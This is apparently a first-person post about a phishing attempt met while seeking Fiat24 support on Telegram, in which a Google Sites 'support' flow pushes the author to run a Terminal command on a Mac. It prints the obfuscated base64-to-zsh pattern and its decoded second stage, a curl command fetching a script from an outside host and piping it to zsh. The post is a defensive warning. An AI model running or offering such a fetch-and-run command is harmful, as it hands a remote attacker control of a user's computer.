Last Friday, I had an interesting phishing encounter, and what made it notable was not the technical pattern alone, but the context around it.

I was following up on a payment-related issue connected to Fiat24. The transaction itself is not the point here. It was simply the reason I went looking for support. In this case, it related to a hotel incidental hold and refund flow that gave me a reason to follow up more closely on a broader pattern.

So I did what many users would do. I looked for the company’s public support-facing channels. Their public Telegram group does not allow direct posting, so I identified the most visible real-person contact connected to that ecosystem and reached out directly to ask for live support. https://t.me/swisscryptofiat24

What happened next is where this stopped being a support interaction and started becoming a phishing case study.

I received a response and was directed to a Google Sites-based ‘workspace’ flow. After one simple page, the process escalated into a so-called device-side issue and attempted to push me toward local execution on my Mac by asking me to either install a DMG file or run a Terminal command.

That alone is already enough to classify the flow as highly suspicious.

But the command itself made the nature of it even clearer.

The command chain followed a classic obfuscation pattern:

echo '<base64>' | base64 -D | zsh

When decoded, it resolved into a second-stage remote loader pattern:

curl -kfsSL http://ecnoagent.com/... | zsh

So no, this was not a refund form. It was not a normal support plugin. It was not some harmless device check. It was a shell-based payload delivery chain.

What makes this case more interesting is that this was not a random inbound phishing DM from an obvious fake account. I initiated the contact myself while navigating what appeared to be the company’s real public-facing Telegram ecosystem, and the response came back through an identity publicly tied to that ecosystem.

That distinction matters.

Because if this were later framed as a simple ‘someone hacked an account’ explanation, I would still remain highly skeptical. This was not a passive bait scenario where scammers sprayed messages and waited. This was a live response flow delivered in direct answer to an active support inquiry.

I preserved the full evidence trail immediately: Telegram export, screenshots, screen recordings, HTML records, directory listings, and SHA-256 hash manifests. The material has been preserved in a form suitable for independent review, compliance follow-up, and potential legal or regulatory examination.

I also reviewed my Mac in Safe Mode afterward. My initial checks did not show obvious privilege escalation or clear persistence, which suggests the attempt was interrupted before it could properly land.

Still, that is not really the main issue.

The real issue is that no user seeking support should ever find themselves in a situation where they have to distinguish, in real time, between a legitimate support flow and an obfuscated shell-based payload chain.

That line should never be blurred.

I am sharing this as a personal scam audit and as a reminder that in fintech, trust signals are not just branding. They are operational. They are technical. And when those boundaries fail, the consequences can go well beyond bad UX.

For any cybersecurity teams, researchers, journalists, or media who want to review the evidence trail, feel free to contact me by DM. I am open to sharing details after verifying who I am speaking with, since the records also contain personal information that should be handled responsibly.

*   *   *

Follow-up Note (Apr 10): After 7 days, I talked to the Telegram account @kayfiat24 again, and still got a confirming response that “that Google site is the only available customer support we provide.” So it proves again that this is not a temporary account hacking, but a true message from the real account holder.